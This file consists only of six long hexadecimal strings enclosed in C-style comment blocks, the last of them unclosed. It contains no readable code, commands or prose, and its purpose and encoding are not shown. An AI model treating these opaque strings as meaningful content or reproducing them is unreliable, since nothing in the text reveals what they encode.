/*f435a33d1479526da0a16eb9b59f7c494ffb2fc84e5dd8729cfe4e9489ad3b130678ea8ac084bccf114561d8ce3017bba6bdaedd77f1d637cd8d1f3aa29ff7414045b0426afb9e4644186a1df5dad420012a6a5fd55ac247512e525f63d30edcabe2629a94df41c6574328f8873978e9f0551636d556b33f9ca0ca791a7ed535fcf6acc7e7ffa3bf316f4c44532dc1f0355396a3c0d1cddca7c01cf25755f71d72f46b8501c84e5cea5116a5f1ae3a3ded4866190763e2f9f467b25328848743ab57d1186cfd4154050e4f8857f31be9c7e6dde91573b500ced719c2ee1192df2a427a40bbe0806ecd0232e84beaab6b4988fa81c798115c773897ec6892ab26fbe57e94e6e7be770fe7617cabbfdb8032ccc2d60c3c570fe7d5a8be0819a77edf17c39ea5f413a7b66fd3b26d755a372556ddb0e3dfda486e0676ebd69c2b545f39a60b60b94c8f3a92616b9e4e1c7fa2b7a3910915df0ee7863386442162533edc635484294c1913fca707b3ddaed42cef5e6a89e9eb338d6650f292d3897ecc8b8b9dc8750b465f67f3190caa767061825ba9df60eb21f4ceb38dbe9d7f325949e59265c5b89ab228ac04c321c23b7cfb7d0e3f3e7ed15fc2f54a8cee0df022faf6daa1152a1273cae4f420a82017a4f4d509111532c41c77c0bbb3bee51caf3b3c7db0d7edca2f29def9ede6d9e7802b5cb07cdf173c3588694b0291b1fb8e6eaa2ef73084bd33bb2f21ff720fd82bf3504b39252da0e4e838a2cae4e58c1411a695b91d4bb29658bd50125760cebf508e0f771b54e7e976c78b5cb19e3026e4af13d4dada7aee053dcb6b82d069afb4be938aa8096cd9445b74a68a06c32f3ace7b05dd6025584087e5a9a9cb85877f6b1475cb7fd28184d3e2c68e99ae4dcb57b8fa1a12bdaf62aaa1a98251271df1de427ba19d6e60f1bd9fe2b9255337e99eb77cde65bf6a7485ee2def133602b9f0e4b26942f6fa745d3ad9c5089c270c6958f4afece487030986e6bc8b7923d4b3beb57b8262fb95232c455eb0a7f28678664c43d926872b27add6a1b0ac3b86a36a65616781d2595411cfd72c4fe5261ba599fe8de389a0de092d558d53f146c7f9b6c6f971469f99f2f0cb32ac31a7d9da02892923c67133f71311811b0f9ee51aa7377b277f4f62ed707f302e221b45c49a0e44fdde649544d281b4fbe8c54c2824c4d901ca9e95f0a6ce3ed14c9c91a0e9bd56276284a1727799baada0b57b597e0e921d474e9aea44de44fa402573525902771db9148ebc40bdd1c4077544c236fb05fb7f20888e915553b30d58a3f5c40d5886608b49a2fcf7797f75fa81babc03a8f70cb10e518c85a8e6634491ef46500a4e806d9463a7d43f2bfec79bd3c125a5c1ddcba1eb8ac20e9d3f68892fd7c1e0712bf2eb0c8399e8a58eaf1a83d5b2a9d961348c89d98a4942ffa348b40079dc7a7c5df6667c36e133c0645a13fb9d50301190e99028281002faad341250b2a282db98fa286a2ed1e73d079e4dae4cee06f89812237403c586dcf4d3e0b539157dccb3fa952dc612a87ab47e5eb1b3f18a324ba08e2bbfe6a3d64b6db8a98de25a40e45ed72f23c27770ef8adb8e5b21fe1705fbf8aaa69f9b32e8ddb07a55fe1ee5d374fb636c3785915e4ff2320fa9d004b3622e4183c8fffc5497a92d9e00c989f6926f6c8c5c020d62e30fc37c7c6ff98a714a50cfb9571fe9346a5e0227c8baf3b7c38097909c523f75e87449d194958addfe0ee093be06969c6a191de2e7df6c2cf26dd4f09a892fe2ff9c3961ed783d3293bb883573e890f5adace1963e9ee3af61aa9153ea8405c705e643fcd7d7f441ef90763828362a6b229d5f58207b9f99da6abe5287909a9a51017190acdcbdf025b922afac85710447b96fcdef5de05798191405591559d170b097564a7c77ae9c94437131e3419f5ad3f888cb70ebe0cfabb23e96bead4fe477503bbb84e92893a40ef8fe972a84e18aad5554c0141869a1938e16740588b786136832e7e3cf0356f5627741f0c7d5294915becd24d5f4bc59984988f5d73da495555641e95ba513b7280e5ca619ddade0c600b48169b1d6745ba710fdb005284827fec02f0baf585f96ea705d7b4055be52e568bf69ffda954816c0273735d812c0fc37f786bc88119d9dab1f789f21bbcd6ca34a0e98052c550345e07c704e5c4081cc08fbc0b4cf07607616b2b95ac24d46cc79db396f32b09c2fbf1932e9a2bd6ddc6665ff15b8741d4a6515f956b0c9bda05f1335d9b377fa57a89b57aae26a50f31801c208cad9e43a132a908fbe3e9bdd60d0e278cfaaf363bf2e6fcd6cf2c503b289da001ae4932d38d47feb326a9f335f811a4c184c06d3df958480152fc937caa894c65f32161bf7c8b7f1250679880e1b4f6b75bf09eabcebac7f001a49d6624d33f5a51a16b3e137064fcc45cb75334ad0c230f3589630e30fc2b418ca03fb08e95aba41d6b1260c4e456f0ce3a5178096542e0a3284aa69396928c847996fb9e4582e0a027e4eb06cb1d645317b7f2704fc321752d0532169eb6bc455e2f75486787c6236fe5fb6217ac0618ef02b6df15be127a12dfe8221bdb0671fcf8b1f6c4ae8113bfc92ecf67ff0383edeba153edbf2333ddec35c1c188499c5a754372ceaaae4575fd1fae5de7d7b8a08b7e4bebfa498e5f825219ee74f956054d0a5731d19156eaee38d34c0adbfa21cd1366b4fe280fcca8b328a57488b5bea8174c3a92bebf68d3ff8e4a49c03e779fe5b89cd6e401e6ed6e91e7eea261ea239f5c4dc8bc82ad6db8ea76b370055063010e22c08c0e5*/
/*8932d403b3a173e8d3d03b060dd2da66a0d635c0874de9ddd13ce1010530be8e3868c9bc6ce7ebce8e7203c423aff97356cd19e6b3a52e515e20be280b30f11292af7c4d3d16a74586125f2f78dcddd4f8959bfcc234d17c0538844753e5942ef80d52605ad62875de49fbc21085613a603bf8efb0a5639094aa16f31c21ac0c180e9b93c697ea6021521354164b0f4bf4ad30fb7d158e595923e29a7ec2ff7c09c33482d1851a40fec02a188e297e6af29ceb623b71cdb52a948691a1ac67f0d3da594d635dd009b62d37c3365718b5d27f98edf1912d19cef4f5961b3a1e9994088fd1a143dae5f2bdd2286ad9492d74700971d678794b3aa19e8c291c46d565af13179af09ed140bcb7a9e9894b07e25f70bb45b9372a96408d75d0979e85d82caaeb291d66675e149474f3472a68983b093536773dd8e1d91e8fe098544eb09d840da3f362d12d6b026ebf009f963c52b2808f4a7c01a8c57f276e7228e6ff28769915173ac30983364344c66bf283970cac57d5d21372d2070422def515fd901ca36d7edfd395dc3cd13c99c2cb4dd039f7b63d83d1b4a69faa76b9bb85909fb85c4001b1bf2209a6c9b974b47eca1bd098713898b32da8656b3d2d5cb869c6f6df5c56f63bd8a34682d53c270ee9c084a32176fcc43ab4f323fe149835adc8151ee80d6286bd0a5abcb5808bd22116b5666cba6e96328a28132344798e7f3503b48a6abc4e20025c212e4c1d2947a1df7c48b42f6c056474694ecf27d0b40957abac3ff13ce4b48d5adf1b7099c06ca146f1391547f555cb4dc861d9c4a1c1d29ccbbe35b7b8def35454e4b8976e3d6f6b2155e44e0fcae71f32f3421c155349e11227f9ead072188303739fbca103c1316136529c6a5d8a191ea49cdcaef31da51c36771296bf6eaa086335184e581b17e408e69e9c4edb002b736cdb3bf37ea50f9c169d111f2c43c44feb966b9e1fe833c173966751353102ee39fe6cca2afef738e392e94d14f988178561bb5af8a0a10916372c5cbae2406470d6147d528f386f187c6d57d6e7b5e33bd6bf68a0cce4eaf30496074877ea92cef6c642e93127761d58509bb4060487244b8906a97a334a0ed9c962a078719a539767a7e07b50a10a7ac48d23de8dbe64a44bdd68daada4d0ea21e6c1569fcfca82dddb8a153ea08a9a7ef938521962b84042f91e8351b5731cbdf71e4e605c396b36a041f21a0a70edabe422251e79db2a5ace461f5cd6bd86e16cf6dc359a521566fdea93d981778b9a74ca8405adfab7cf5628075af6f2887c5c34b7c09153568a9059e219d29e475378337219b7ed5f47029cf22a0844277656f32ecabfd453337fb754cf6fe83cfa8b4efca26a108d99f581d5e4936407d65bb64f4a66b59016ed6c413c2c16b65f6a143c239d73e8f657b2cb537cb5ca6225f50d2fcdc652b9c368042e0031a39c745a785d182862f5e83ddc75135ac44a12af1980fcefb3f2d0cee436a11a3ee076d04e7a2e2ce55ebb12272f7713a9e23a4f96069e01543521f362b66864c35d5f99033a4ad35091b60a042c07e2afeedeeb94502ca8d4f82c12f8a33ad1545a091a2ce456542003e38cb76b93c1557f49b13b0860e3e8d882ccdc93ce839eb9fcc00ee8381e71dd73b98b9cfb047f1afca3911eab9963108ba32174313246e703872d0b52a8b1b2641395258a17aca3982c3ffd023a23868267a018957ade78513643650c8995e85c93245c7c95bc25f08c13ecafaacd56e0a456ea4a9f55054dd033955af381c16e032a12798c1bde315389217575e5dfe7b95085276d13e2d491550a54a48eff07b87181ddb7a7cf052514bfb508af74ae2312aa1acfefd7d68a33bbef11738f2d7709ae36c332b5da36860b5dda1da340a3bc6d247ae6743aa312b46796e4d1adabfd200a82f1583b9c4b21fd06475a168cddd21108b447c1313ce4909ac5066d5835086c1953380aeec5ab193c2000990c4effa1bc513b4e554568f54881392364216ffdf5403e0fd5d5957553e2891fff8f32ba0b569c2f571776837429e0094b5768a2b271fdce6cbe236202d5f86feb1ee427b94db8e391467256c46fdcebb3fbb3275ef454bc2e22557afaecbc2bab61b9dcf617a59c6577de9bffa8a96dea3ce1b229bdde8786a21a2b1f1f086bd782af47a76f4b3374d7f8fa61c6dd8e95f99fb4d8f20694942c92edae4a644aeccd65c1ad266b1275d86ee86940ba58487205129767c881fd0317a7090d3a132bb28f519f1edc3b02326d8e37021ba9b75599be559b6bdcf526fb2df33bc9a63d9157726f4c45be7acf5e8f808574e5f6a9b4e5ff777ad7ecf3e6bf14b8e2f4722e8f610093dc17d5d5990df602a12d6db75be3d7b7048b505a472e36e9599c0e4eff3db95ecd5bca0c14ef489d2f48e9650bdf26ec9e9efa089fe788586fd8b99bfbbf9453757e8d4732c891d3098d81c00c758c0261468e238c530c4a099be95d77e418537797d9fdd2c9f28996db211169161fa7491957f8138e62795412affc613e9f3b6f65d7fabe5ffcc398fc697cbcba269bea0ffa1effccb86ee591c629105b652c29358d74ba7290aa94ed99d848848dd433f2484f9d6929cc76cefc30a6577f81db410b892bd6866ea410f8101cf12b037fe71b30628d065c4395cf4490873fe489a11d0513c26edcba5e7b4e2d12dcb2630b4e8485fea0a66d916a3aa35575db2e4031b88e49670802840a25764e317a0af2191b5bf9a07ed20ff7042f20f15be919d795975930db21d7c5c3cad390f5405804bde1197160dfb4ee993d8cd106e046826238a35b78*/
/*691ba51c801ad2030f1aefde03dcf51958500e88bd9e2ce56aac800e22f2a9a4e9c20ba00e54e69d4592d77698b867d96c666ad21da9c39d98041a4d01dfbe3d868979b987fbe07ac070ba1feaf597833afce02f5b310f0c2bbbb845848162fd759a3e8d111a04df2c7351319ded01b89e6e54d52a04a8bdbc61e8c2332099a6749fe870a17135d5cf19ac3a724720ee4d47459c6aac4f51c922baaf7ddb1014009d07edf7e65cfbe396a978d62d364ddaf073216f7701481e51e538f9356b60a82408d1e15aa5d6d85c07c2bd70e2da76713c633fd28d132371a86c2cc48e446c040c420cff481349f71167aee1fe85022e8e2ee2f06f0d2f590c34444343d368f9a5210c02e3c5f7119f1e0ac4f88b5358e7da181d3bbfa93878f3136675e91df6564aebcb8ba4601a2e77361dc6eb7377caa622b27f513f66f4a50a9c7d80f830aa186d93660dcb5e5827e91ef3bbc1f8bab5ac470c1b18d6a812ae11cece83ff37efb3bbe2828ab3f5e7354db6d6127b08e5c6d8a01acf7c183218909f334893b9f11189bfcba6a06fdf608c57d3613db2289ed9ba5ae2d95ef64ae3299bedd54eeddf9ad48d645d15ef53c1bbac155d079ad772611ade4968247de7c3bb4a67513e4d590f093e51ee69bd950adeeb2fbd3fa377ca134bf3d849e52907ae14a27f9ea41b6dabfa7ab7fddac13db361c8826d938e8fe065a0aa8b107ec630baf2886473ec897061b4d77b1fe9e4a31245f4e3892c216f380ffff4e28b1e5833df1df45087640fda2e7a132c674f2ae8fd915b7a470303618f9f9820d01b64a6caf299a08a4dbd7cb0cd6935b0e518ed1f9c636d4f5aca89c6d024eccccfe62e0e410c303e058a93e51dabc55c399104fe819c3198b7da1b9a72046e2fb469178f0e9f177170e6e7c01763ef231172f929996cee8c9abf4ab88cc0d8d8d89150064d5a8525c74c522036ecaec475500cd00ee404c7eecd19705093c3f9625c409990a8037aebf1ef152efc0064b343a373a5b0aecc410eca871bda67eaf3dac71292f806380ccff982b64e52e7b8d1039dfd2387a8a796d54d1dc4203f9df9ac1df0ceffb3adce54ad9ccbc23b69400a149caf3b9d120c4449a1993b47a8394552ba4c6b01deecc6e85730991ed532b9ef487173ddc756e15e7d8276590f6c4d5f935bd2b81c9047ca5508275983301c25a92e089c51da996bb3b0931487e31ba2b5a134b48e00724567366614a6c38dfccd76de5ecc7f0f4bc0e8278c734bfbce23a3f77cae306cf735f8d59767a5654ab19dc6c5ef155675e562292ce75d56760ad1d6d65bd6fb816e2502e1151a2ce6fb9d12e0f771dabe12a901a250a7474b817476441aec6371da5a8c58fc0cfd3c3f8aa49a060051596071e05647e9b2981c8dffdd076f005b77758dd8ee1e381115acfc076d17a9afa6a7844d1546b9235e7acab39aa63936fdfd1e575b99e3215336b49fed17d6c39e7ca1706f5f419ffc6f8b91779aa490915cb0ffcee92d09c7dbcfad8a882201128ea20c4eae6904db0f1971da5a00c735383335aaf3268d707d992f35a38765c62235f49dded2725fe323b34d74495f3c8b30a57264d89e03fcd177ee524aab3a7d364cf1979bbacc680906949f84ea67199a69f2cdf1e85d3a15e44ae3daca3b25395c4fd99d63ee5c7bb29264421e032afa085b675e7191b321ec56ae27b318f8a1e8711ac478d757e020a836ea9ca5de4464d5558de4faf4b65913a7a96f71a63c17e8545543d3938f5298d9b1dcb0cd7ecd22f5809c9cdac63b9fb9870384d70b89468c64b2133899fdca092854c26386fee45183cbcaa1cd3c981b9468a3d1d3472330886349fe8e21b47f8b890635cc602e43093abbc322a43b9bf5adfb5af780e8b5ebfb3d2a1347d5115fe8a803473364c826f0aeb2fe512521333c7258c75db0c614d8f7f145650395a9b35503878c7e09cdec3848021c10e5c8cbf624480bc3e850bb0e423cad92a6b7333399c8d9a269cedbbea4ea74cb2b3b39ba516c4ee9289222c94a41b0cccaf0ef2aefceea065b6642e968dd6ab2286fc9b181d6f65e8198cd9b84b370b8d61c783eb19b48abaa1f43edd9b2669c4691e218a958dbf911974e749e47d9c4dedd7f5b713d4159a6f96d94ccf2d4b4b8e7521133ef815a28b7f638f013b4851554e676daaa3dfc03d963f29f575658f7fcdff2a4285b87d095a13050ba1f91e584be67fd0a6f2508366107ac19b90d0f9c3d213dd0c902811fcd500d80de6c579cf34e7bec26bcbbf29006dca3d5ebde02a03668d0e2108c00e0f21dc256f0fd0d1d031ece10eda1235a8e941be0b9fdcff7a3ba35b8e85f17391071d3c85a53bc8b9cdedc1f3b38c1296fd30c9105848608d519c30cce2c16a10689df77fd57a9a70fa80fddc52444dc2b1b319c7846d4bb0029efe0e8cc810d1e0300022bd3eddc3569195bef1126059cd71e072fe1fa0f4d4fc868666f7ddffd1337124d3967d8b4db76d80e6f5fab343d8d21ef7da173b2478bafab6c2e297410a839b288333334199284f8c8fead992cc532a92bf26227d80d1b04e383287bf4ec5667f5d36940895c617cfa24105f6d1050005e2759f35ff595de78b5e399e6b860b425242b60bede80a4a70bd96c6384b59d91091eba78d80bad43761efd6ee2171be17a68c1b835da6f52f3dfa0962d8bb811e0836dc403c3df00d4302ead4cb9f829edfe2134eb5ff051c85945baced6d37a2c167f6ea41c8c47d9408f43817bc10fae8a49f39b6294e2d1dcd6cac42a958f751a998d3754f8261a2eaf1ed2838c47d5a29cea91d50bfc*/
/*a0e3de7cb658927700842f867aee494c7e304a9a979bc66faef31e172e5965081c7fd0fe9f96960f4af7081f21b95bb3981eaa14bb35613c6fedae8b6690e55c24ce6111324cce18fad920d2c984ae1982f069aaf1a49d2a873ff36e5d9d055c6b9a76d3b19d4dce5b9a49439bca8c1432edb3ec9d798f79cfb675b8058400e543aa6b7bac6fe2310c5e0460f34570161a894950e4e751b3651323ca61c0f2c51278c23a28b6c4b282a25f4dce9352fe3199ba59522178858f1611ea23366354ec177bbb330de032ab112a3d12c6861a34822babae23e45c268652fc91c3419bd839b864a4a5a4de082f7ad8cf75f8067d067b0938a60ed6620de85cb9398a584a4cfcf8b1027c700f09865252734bbbdc8a844997d37e7cd763be14290d9a8c809590e9c3961472720ff41a7e0ed02a933f238a3747c53115681c8c594ac1353726110684208f6f795c8b764ba58d5a67c622b8686fe78f09fa1fc561c81ce54e8e9fea1b6c84385c348e5ca8726ee7c53efc9de30a5d7c5168165d2dedcd17d1d7f0314af082e94acb6651832ce0bcfb87d809e33da2694c7bdc2d54a95ca75fc20c4e07f1e342f9d098961f871ed2ad1befd6a47ae33c0f2c0812f1eefca97d0dd2833a2320c7cf0d1eb25d84cade29886f2c58f0a39eb95ad819fa1d045212de049bb4c15f0821ca0735bda2238d05eefdfa6747cfc72b26f36b736509c49b23204a6319d51f9804f662684a1629f8a27278cabe445dba828007a676c0338b0bf1701e0fae371242358ae1299e69c52267363f2aebe824ccbde0907c9c9158a8fac71eed4b3419919de9a7832e9561a82de7f43193dcac569873eccbeed55e011a5070d08fb584e578b4fe71904caea80cdf47f7c25ce4a0259aff196b95cdd6c76f29c018d200a76e467ddf8d73523ccb20c54c363258dd2dc460c01e76d3cbc30f206a663d0d7f95db03aa714fbb64845d53ccf0177195f4e707daa6069bb2b0d3963de601bd1a8b9421c93b773dd9826195018dcf27f8a9d11ae45408002937b5ed43331baa19911156f812c71d96bf01e4f99031a7ee90c23801fa7aba50ffffe37eee35d4141d6f8feb1d5e7012355158b2d12a6d5bbdd25029dba12c6b7a8aed0dff5a0604c7160ce2974fcd8d1a69d0afac7ab0407975f2eefb6127e28fd116a42efa8b41170a256b54518d0440b8f7a9a07b09fd16f9a58f72ca268ae26d28d56c12528ae80e6a1212a9ec772253a3b1ea631d829031b01c483b0ca6df01155552b9ddd3b31dbac5e0967fc3ec9efba6912ca330d29db7e06b11b92796f3b1fa0b3f0556ecbf433cbe0e53980edf815fb53d044fb392eb3cf60e093d623a4d932e077aa940fee04ff2eebe4b5cd2817f2e8db1a865509bfedfcf46026b6e978023f5c2ded333d5653a3d88f91a6c0ab07ba974d9d412d88f4a27196cc3e95a945ed8510690dd6c19b9a772e36bf7df46ec03242853bbf168b5250d9e2267f00a95f2a82f3d1973ba67f8cac68455b3ecf77470ab5afd95dcc290f536207a7b92396704bd964a0a49db2701eed9239dfb6b5a51ba6520c51b9cad074cb3ec18a0aab4dfcfe473f3f3161ce7d1afa17da9b813aac79b15afd62b5fba99e77c5b90d522d7268c45ffea5c1444467b143efffa385f607d2d269cb979b9ca83eb434398beddddf859e77abe20b70919d6ef85b3b3be3a514da0397f778d67242e3f4f4fd3591415c5f71117b2e57c53c80b726f77b175055af52b3b8de5be81f2b59b014b4da385d046b9b70187747c04a5146c8a301e5cdad985c829862139f396917040e21320d6f70c41496d35dfbdb305216beb8bb12edd232cc7996870fb16f965e163ec24bb5db47c8afd0974b79f4f9af8cec97f46b420cfcbfaabfc72a8a8d5e0c6825bf64a1bd54fb709be7f030871753b9baef8a928273b4cd3dbd95cdaaa4a658546c4909e97f0b17d7f2595d5d88624f147aa113d0cbbf6f342dfac9a242ffede3b0302f936bd7c22ba936875c2eee8a7c5c0527495769b44959ae96af8a08fc97c8bc796d0c37aaf582a32e28c574ef2ed8dbac51366e5d73998c3fa58f76edcbb2063291bb0456c9921c1b0a0a1eb3d0e3db62005e9c5aa706982969fdb11f4ee918b5db18d2e276593c139f3c3368fa5ae52aa142d09d8df8e4a1a4f4562707358850135e6a04fa7673797e3fad29f738aa5e06e10e8d1bfc550c55bca8218f3b0182b9ba59253342efe809d7918fdb6be2ac71b1a5153a3829c9b2fab44363093997b55aecccdfae958d4a3f459552a57afa2d3bd19f711bcfc5ff4ab898431afa66d756e6b7f238dbf3de9e5cea9388869992646307d2af22a7ffce04a3194a51404f5b09ca95df9017aaadfc843f783f9f44c445ea78ae994b90ca635a6dce1c3191dfb2b6cbb7bd4040ba43d5b6efb4a5c47b193544eeec7c67dfba919f0fb0370168803f5d887c943526f9b580b94ffece8caefca677764b544949d1a83c5c17027f5949251d989663ac18878f524214a08b3803a17008c89077bfc247256461e9d2e759b6b3e3c246badff4197b835eb272c6612d056efde7135ab2614cf9633b3809204acd98288a005b15633a985544cbfc6d653f537412246ad0df099f2777fa692241bcce40512ef00a866bde3b19a3f16f59bd30ae32446ca810970d68a601dad67b55487a958a12825420ab4642d76b86652474aae0223fd87426e8db964652f8306dadf51603baa315017d46bd0e29f862c295f69b8c3ea3f43fb2ded34b8644e4d544650954758a047a75cbda34c698e635598be52867b0ff8c7113c9abe*/
/*a3f0348894d0b6102050e325dfffe2de11138e9eb0a3db6f2731ea966f4019a5ea498e2f60803ac401295dca60ac2cfe7674649bdeeac099603a2a6c9e2a51342110255949bf0e1cf641769da84653504c82b755deba0698b3852e06313461bc453d9af91424be3b2838007aacc641c0eb727b62e6c1f8aaa9b83d2f59b4f7fbc894414f4fcfcfe60e36c53917c79ed4381b450ef270e7cdbc60620db5dd1d8dd7860c87cf1ffa7aa45942462427c4894017a6a1721b85ef2393e30599c531f08b0b9aa19d062e3347def10a7cabfa3f089c3aba2020c8f1dc70fecdb87b12c92b21edee36f75e28331aa77957ce63994d5c6f792537a5c4f74cd3631f59e874c07b04c0257b0e61ebf843ba69df34926236a9d4d179431f8ae534947aed6a347decdedf7387eb77015700253ec77d3fc7fa578ec8061133500e6d2d8181eba289bf19f32765f8e79985dd2b4c34b8336cf7166752965d60ea1ffaa3951913e0302ecd69006e6c3c0bc2c5d624b83d240ecb47afe2f8002adb4475d4aca91fc87053affa613744c50f3d086460212228d76d707679c5c5692e627fda85929ef97f79b0d19450604e7828f4317edf5347863aba8e137e538fb384a170ce3affb6db65c773cda02be5f8f2326f16b33ba306441c6e4de15af5c8fa8f51ac3a06cd5f54a86d7b7e882fc6d7806614bb03c6ea3ce281d93256ec88f4c5b2164a6acccdd2d5a0dc0ed1d7dd89c13fc1f0128c4b97939382938c624a697c4e56a93688bf1ea8b0a3cab75c490aeffe3ecf7e38096f4605f7f3145531fac4b091aed24df08a40bc371870594ef3bc4841b5c128bd685b746c5f224baeeec745a2cb4efedd0408d9261cb33035cf807f5c01bfa872b011bebdc65877752c07858be1f35145d607671bb8ca02556e58550f984788916f6486baf5404ac1668e40b07a7b57cdd6f8e91c91ea88c306d36b407355f2b1e457f1d5e6373784b25b3fb0742eec94a12cc6b72edb17d973ca46a7af577cac040116684293b84127a5afa7226fd05a7259b6764b89fa15db60ea0a10bf99d209ab1e69a561e7b8fb6b1e5608bbb4ccf02deb05e0a464354a93495d3db71189f481d62da6bddf77d5201c67bebcaa79590de0c94ee12deaed428161ceecebe61b33d44fafe6fcc3d9eb8eba7a9a23f73ada4b2be02d97d62d2db94b72e31bde34f45d9e2761d75dfd2e63c2290808e67273b170ee679bc6b30af2435d4d9762fa359a26cf290e1ae567362ca4f8a2defe1f4f0f42268f7d07108a42a8177757005fa6c142f0737549250c19edf7117623a4a4bda85633e38e77dd43b371f60232d08efe4a08b455db4b173e65d55878ab8cbcc1e834ebfcdf9d9bd9e167e99163a955818e4ecb21fcc0e15a2120792b429da9a59427780effce311f910475379e81cf12a53699ff081c1bd997ed21e37bd08acea203bb5f170a9797a89058e8fe11d9457e527c8ea87ebad52599b4431619eb7e44e168b160ee9445606706957d430233cf14a696f1ac3584b971c9dffedf3de5d9709aa405051239174b253ad18d44be32ea8ccc87bbbbd5f9e4701172d68a88bd9f042f6ca010f67b08bc7ada251035f52463f941838b2c8a879f574fec78a59efa6cf013d6ab8e79421913dbfab1f5b6bf1ec5fda97f23d58c96b07ef4ba095fe29302954a24fbeebff4267beb207d42bfcff7cf0ef94672d25bd6baec3cc2fc286bd85f2573f2fb7c13f5ba0b81acdc9a7e0b755bdf505d89d6c220772ec526e96faa7dd276e4339e03e2ca178c53efdd524ca67c7ac85cdba050534ad2d5a5821d0db89967a0f68d2c74eaf1032eeee0fc0cddc2e373fcf5d890e1c74b7751d81867486f1d520382aae476ff6a4a42f3c256d8a71bd3036124e29e7ed5ef17529b8d60beb54b02a11cb4a8492d648f05f5df9a3b68618a18befa4f4821dbd551bd624b9d6d8045822dfce1f96a3f03524c0b33273dcae3b806730737eb8f01eab42c8fd9df3bcb7df02b6c9d9bb8946cbbf729e22ef9281e33720888718c5072372cb7c2c551019b51ec2cfdef2ec563df8d149ad265b3bbf6a38e1b7a0d9c927a57d86ecef7db832342609e707716bea15024aee6f6bc068d7ed0678a3bf8a89e8cb3352f91ad7cc2cc8038589c92c3e1e8924bd0b9b964f6860d9d55539357912877fe7a027015830b23cf19c8ae3e44765e793a3cc4d61e4c7fb027c46236cc2c1064866867a676ed09f90d79e4bf403139ca54e79b6828d6487abe0d0381e628a0795d0d6e606693ac3ffa10844b8f80a3b72cc69089a6b23ff49e5184a98b6a790d2ef36676f9132241de8b7994d4e225a1812815b814af5b12cf169a02e05833ba0914ce43214f291e514a8ad43ec29ae273a55f9208275428df6ea5715878dffdd388657e9c21256f7ed2bbbb21d8bf49e3fac5b2b7872956d8368b354a56fa0863363dc61cd01476a9ef9949312b684863618a57049fa27173890b6e6b14b6ee1d860f2d3eb30ae96f5b5f1f6f2434f4f9d6bd61388bbfb3ce57e3a8805278718a931ff87239e21720b6faca1e3a20b6eb79067d1e45ea57060dbf2d09b89bb57609d37161c21a59117c3504381dba5ed04c3eeefcf3625fa55b26e0c62eff0b8d290938abe4edc0c58d60aeefe90f802226f188c172469aea0f0124ff2c50c760b8b92cad867c72e78a9d877bed9a42abafe36c79c00ce46aa46c0dba222fd2d560238b1b1efac021befc6aaafd89b0d827ca80716b1d4009e1a8fb9f37178465066f9cf5dc7e9cab89acd9a884fc6e2a0e3f5b21add872e881c4bb37d95e0e3d84be2a28*/
/*bbda0193e2b199487b5a720dac6bba02f25da31e6d15863b7bc61dd03ac026e53944b43e1467462e2898ae1c286f2d6c869301569c35f989aa5a51235ac2d7ce303d49d919a8ff443b61cc407886fe42bf1ee1259c54578bfa27a6565136ee8695ca2c4ef8732e840ce87c0ec3ae781ad936fcd227dfd44cf4d1b0add474a8263fffb52300c7cf5597388fd61b616528601376834333bcf2b3c0655d677970ac533e3ac53ee6ac63384648ec2b7d002694574225005938c754f5f1d34985fc20aea259470a5bb45d61027c5f215465de6e7b457ea26fda4727bea70a1884ee668c2df5d784a820a91929cd8cdb04754a85468656e150e4938711226b5f81c25268432aef7104ea2885bac007d8d7f2fbe19d253cc547f207cbd32b5df3de852f80b0c119d9c22cdc90ff4a0b6e2bf1de5907c8e76d41fff18dd2c7fb6101c750e5c82dfdb7b6b0aa11c300e83054a6a395a858d69147901abdddc4b737cc67d121453a7d4e157ff7f2e531ac1959e57e0c9b0dbea3872a71612e5e8232d363d97259f4a508d59a3e3af6350e1eeefd93257422a26d7f5b406104091c78a2b00c3275cac975707bf9f37842651918de694b6bbf5fc2243157435f310588115c3a1e727c5a8b88bfca8fa5b466cc73321ceb971003094f84ee3200bbed8de28421cae2a8ab27f47ea4002a0bce6f24c6b61f920222f502dd9723ebbaad50bd074d947de50479ca599557cdca2124c8730cbd81bd0b7927f3090bef161ba609ee5877ae640e0e7fc0dfb06e4400d3eaebdf8b5f3af78d74613c8d841380e9eeb73e7e227997658050bfb30418d3a5c7dd19a08f418122fd10926730886abb737943e8d73a772aeb8054183f321ac3073247c7081232cdbe1ceeb3c8aa673dfc4ab3c3ca8dc9d4d014fd5749064389c07663495056ac367052dc91e7b3f34f514e3bc0114988f8d4fc0d1eea2b75fa0b3e333f546e7eded3351fe9af53df033c8063bdd0cb1376e7c639681404a96b2fab473549b804676e21142e517601a6e5ec13dbf9bd082409340a2bf2a618458654e265a9294b7688547792ce9109e0c54c18d28ea2c3c32b53cde4f7647863a0d1dfe80e579f57d57ba97f3aed2235211f7c016c21dcb1be569cb7a511d444d3f3dc7ead3a327501983801cb14a21e89ee09dbc2531d52bdf408f31401827bbd820ffa6402c2e3bd3df72fc34ef5526f2a74ee08dd993799bbdfa21b61a32ccea89fe1bc8b46f9aa78e70c7a19b93b0723b11f8a784c6bbf5a97ccbd0df00c606f3163367dd1cf5e98035ca1da040d2e46606eb43ae703259967aee44624c7a7e9d553ceb0ccafb913271f8a730cf1feac666d528a04c90d42dcbd73a1fa65e21bb2ee9947ab46759c38ea539f6127a1d8a7bd9da2e26d05f7ef07772fb6888cafa7d8b9b3d0a9b722e45613e1689362deca7ca6e4eb293df582543b573c1cca345b4bbd7ba2073ee03df88f659cfba3e16f75c9579d838a0b2dabe8c4ed30e026074aff47be8b7d1129b91bed0d8218e98b3a7bd67364beee546feab4c851b7baa24a4aff4243514edea4b6834cc41d254f0d658c9a192654f964fd45d926f1daf665c8c86c197fc3bf384efd5d0e685c16e8bcd0dc9e7e8c1120a2cd95f8b1331f4eabf2be8adaaaf0c86d3209c5aa955261d5e980cbd86c81041cf3a29792c487d3412fdeac72b23fbb5ee75dd131a971da807b428106bc504a66e7e3cc2d27e19517478391a540b66c7ebad7fc4d8690080a806a20a407a2f260d43295899f528f5679e65efce410ef3be661d2cb022b0f501ad6a5acb92b97ddd839602d28b850432661e92846b0cf42784f15f80dcd44223b98682f278ab3f5b794065dc03a9934edc47ba55b5c3bdf08c9dc41372d0d5287b95fa59b1e2c2cfa725c3c400094235064aa02f93e1cf8a6fcf0bfe72208482b7492aa832680ea4438b7201c7b97e3ccbc02bf6c3d3da1785eef874eacbcb1b3db0ceb46e66ec711a639499cdec0fdf2f91c63b7e07c2887ae170b0e9a052b9c8d797dd36e280a42256ffef90b9ad5838ed4ce8aa18255ffc7a708fc2642a0348b202c027e37004740222199e4aa744da6b0df65edbb19aec625d1e084d1c988f3cbfc01ea635bc918b2ba48d50f00e252c340a13cb4c3075df5c70d4f65442b76c5f3f015b2